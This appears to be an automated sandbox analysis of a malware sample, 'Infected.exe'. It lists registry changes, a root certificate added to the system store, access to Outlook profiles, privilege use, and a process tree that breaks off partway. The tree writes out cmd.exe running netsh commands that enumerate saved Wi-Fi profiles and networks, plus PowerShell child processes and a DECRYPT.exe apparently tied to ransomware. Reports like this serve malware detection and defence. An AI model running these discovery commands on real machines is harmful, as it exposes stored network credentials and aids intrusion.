000000000ffffffff0000000000000000ffffffffffffffff00000000000000000000000000000000ffffffff000000000000000070707070afafafaf0000000040404040cfcfcfcf0000000020202020ffffffffffffffffffffffffffffffff6060606000000000ffffffff0000000000000000ffffffff40404040000000009f9f9f9f8f8f8f8f0000000050505050bfbfbfbf000000000000000060606060ffffffff60606060ffffffff0000000000000000000000000000000060606060efefefef10101010000000008f8f8f8f8f8f8f8f00000000000000000000000060606060ffffffffffffffff00000000000000000000000000000000ffffffff505050500000000010101010efefefef303030300000000000000000000000000000000060606060ffffffff0000000000000000000000000000000000000000000000000000000080808080bfbfbfbf0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dfdfdfdf3030303000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040404040a0a0a0a0f0f0f0f0ffffffff9f9f9f9f0000000090909090ffffffffffffffffffffffff9090909000000000000000000000000010101010b0b0b0b0f0f0f0f0b8b8b8b8f3f3f3f32f2f2f2f0303030390909090f0f0f0f07070707030303030a6a6a6a6f9f9f9f9909090900000000010101010d0d0d0d0b0b0b0b01f1f1f1ff0f0f0f0404040400000000000000000ffffffff707070700000000060606060ffffffffa6a6a6a6ffffffff00000000b0b0b0b0b0b0b0b00000000060606060d0d0d0d0000000000000000000000000ffffffff3030303060606060ffffffff6060606040404040ffffffff40404040f0f0f0f01010101000000000a0a0a0a070707070000000000000000000000000ffffffff9c9c9c9cffffffff606060600000000070707070ffffffffb8b8b8b8fffffffffffffffffffffffffffffffffffffffffffffffffbfbfbfb0f0f0f0f90909090f9f9f9f9a6a6a6a64040404070707070f0f0f0f090909090e0e0e0e0303030300000000000000000ffffffff101010100000000000000000000000000000000090909090ffffffffffffffffffffffff9090909000000000ffffffff000000000000000000000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000009f9f9f9fffffffff000000000000000000000000ffffffff000000000000000000000000000000000000000000000000efefefef000000000000000000000000ffffffffe0e0e0e0303030300000000000000000ffffffff101010100000000000000000000000000000000010101010ffffffff000000000000000030303030e0e0e0e0b8b8b8b8ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb8b8b8b840404040f0f0f0f01010101000000000a0a0a0a0707070700000000000000000000000000000000070707070a0a0a0a00000000010101010f0f0f0f04040404000000000b0b0b0b0b0b0b0b00000000060606060d0d0d0d000000000000000000000000000000000d0d0d0d06060606000000000b0b0b0b0b0b0b0b0000000000000000010101010d0d0d0d0b0b0b0b01f1f1f1ff0f0f0f040404040000000000000000040404040f0f0f0f01f1f1f1fb0b0b0b0d0d0d0d01010101000000000000000000000000010101010b0b0b0b0f0f0f0f0b8b8b8b8f3f3f3f33030303030303030f3f3f3f3b8b8b8b8f0f0f0f0b0b0b0b01010101000000000000000000000000000000000000000000000000040404040a0a0a0a0f0f0f0f0fffffffffffffffff0f0f0f0a0a0a0a04040404000000000000000000000000000000000424d3e000000000000003e0000002800000010000000000300000100010000000000000c00000000000000000000000000000000000000000000ffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000f0410000c00000008190000093800000138400000000000033c1000077fe000077ee000033cc00000000000013c8000093c9000081810000c0030000f00f0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000f8010000f0000000e0000000c00000008000000000000000000000000000000000010000000100000001000000010000000100000001000080030000f01f0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000ffff0000d80f0000df7f0000df7f0000c0000000dffe0000dffe0000dffe000007fe000077fe000057fe000007fe000077fe000000000000ffff0000ffff0000ffff0000fff90000f3f90000e3c80000c3c400000b2400007b2400007b3600007b3600007b2400000b240000c3c40000e3c80000f3f90000fff90000ffff0000f0410000c00000008190000093800000138400000000000033c1000077fe000077ee000033cc00000000000013c8000093c9000081810000c0030000f00f00000000000000000000000000000000000000000000000001000000080000002b0000000e0000006c0100000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000010000000000000001000000000000000100000000000000 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\MuiCache SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DomStorageState SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings OpenWith.exe Set value (int) \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23" SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.search SearchApp.exe Key created \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.search SearchApp.exe -
Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Infected.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Infected.exe -
Runs net.exe
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4780 explorer.exe 6136 Infected.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe 6136 Infected.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 6136 Infected.exe Token: SeDebugPrivilege 3076 powershell.exe Token: SeDebugPrivilege 2372 jbxkhv.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeDebugPrivilege 3912 powershell.exe Token: SeDebugPrivilege 2336 tdzrkh.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeBackupPrivilege 2200 vssvc.exe Token: SeRestorePrivilege 2200 vssvc.exe Token: SeAuditPrivilege 2200 vssvc.exe Token: SeDebugPrivilege 5516 DECRYPT.exe Token: SeShutdownPrivilege 4780 explorer.exe Token: SeCreatePagefilePrivilege 4780 explorer.exe Token: SeDebugPrivilege 3588 tasklist.exe Token: SeDebugPrivilege 4536 NETSTAT.EXE Token: SeShutdownPrivilege 4780 explorer.exe -
Suspicious use of FindShellTrayWindow 56 IoCs
pid Process 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe -
Suspicious use of SendNotifyMessage 23 IoCs
pid Process 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe 4780 explorer.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1116 StartMenuExperienceHost.exe 2052 SearchApp.exe 4780 explorer.exe 4780 explorer.exe 6136 Infected.exe 1596 OpenWith.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 6136 wrote to memory of 5440 6136 Infected.exe 83 PID 6136 wrote to memory of 5440 6136 Infected.exe 83 PID 5440 wrote to memory of 544 5440 cmd.exe 85 PID 5440 wrote to memory of 544 5440 cmd.exe 85 PID 5440 wrote to memory of 5868 5440 cmd.exe 86 PID 5440 wrote to memory of 5868 5440 cmd.exe 86 PID 5440 wrote to memory of 2508 5440 cmd.exe 87 PID 5440 wrote to memory of 2508 5440 cmd.exe 87 PID 6136 wrote to memory of 2564 6136 Infected.exe 88 PID 6136 wrote to memory of 2564 6136 Infected.exe 88 PID 2564 wrote to memory of 1296 2564 cmd.exe 90 PID 2564 wrote to memory of 1296 2564 cmd.exe 90 PID 2564 wrote to memory of 3348 2564 cmd.exe 91 PID 2564 wrote to memory of 3348 2564 cmd.exe 91 PID 6136 wrote to memory of 1220 6136 Infected.exe 92 PID 6136 wrote to memory of 1220 6136 Infected.exe 92 PID 1220 wrote to memory of 6052 1220 cmd.exe 94 PID 1220 wrote to memory of 6052 1220 cmd.exe 94 PID 1220 wrote to memory of 4488 1220 cmd.exe 95 PID 1220 wrote to memory of 4488 1220 cmd.exe 95 PID 1220 wrote to memory of 5856 1220 cmd.exe 96 PID 1220 wrote to memory of 5856 1220 cmd.exe 96 PID 6136 wrote to memory of 2064 6136 Infected.exe 97 PID 6136 wrote to memory of 2064 6136 Infected.exe 97 PID 2064 wrote to memory of 5844 2064 cmd.exe 99 PID 2064 wrote to memory of 5844 2064 cmd.exe 99 PID 2064 wrote to memory of 1884 2064 cmd.exe 100 PID 2064 wrote to memory of 1884 2064 cmd.exe 100 PID 6136 wrote to memory of 1704 6136 Infected.exe 101 PID 6136 wrote to memory of 1704 6136 Infected.exe 101 PID 1704 wrote to memory of 3076 1704 cmd.exe 103 PID 1704 wrote to memory of 3076 1704 cmd.exe 103 PID 3076 wrote to memory of 2372 3076 powershell.exe 104 PID 3076 wrote to memory of 2372 3076 powershell.exe 104 PID 2372 wrote to memory of 4780 2372 jbxkhv.exe 105 PID 2372 wrote to memory of 4780 2372 jbxkhv.exe 105 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 2372 wrote to memory of 4360 2372 jbxkhv.exe 107 PID 6136 wrote to memory of 3500 6136 Infected.exe 115 PID 6136 wrote to memory of 3500 6136 Infected.exe 115 PID 3500 wrote to memory of 3912 3500 cmd.exe 117 PID 3500 wrote to memory of 3912 3500 cmd.exe 117 PID 3912 wrote to memory of 2336 3912 powershell.exe 118 PID 3912 wrote to memory of 2336 3912 powershell.exe 118 PID 2336 wrote to memory of 4344 2336 tdzrkh.exe 119 PID 2336 wrote to memory of 4344 2336 tdzrkh.exe 119 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 2336 wrote to memory of 1448 2336 tdzrkh.exe 120 PID 6136 wrote to memory of 1100 6136 Infected.exe 127 PID 6136 wrote to memory of 1100 6136 Infected.exe 127 PID 6136 wrote to memory of 5516 6136 Infected.exe 137 PID 6136 wrote to memory of 5516 6136 Infected.exe 137 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Infected.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Infected.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Infected.exe"C:\Users\Admin\AppData\Local\Temp\Infected.exe"1⤵
- Checks computer location settings
- Accesses Microsoft Outlook profiles
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:6136 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:5440 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:544
-
-
C:\Windows\system32\netsh.exenetsh wlan show profile3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:5868
-
-
C:\Windows\system32\findstr.exefindstr All3⤵PID:2508
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid2⤵
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:1296
-
-
C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid3⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3348
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:6052
-
-
C:\Windows\system32\netsh.exenetsh wlan show profile3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4488
-
-
C:\Windows\system32\findstr.exefindstr All3⤵PID:5856
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid2⤵
- Suspicious use of WriteProcessMemory
PID:2064 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:5844
-
-
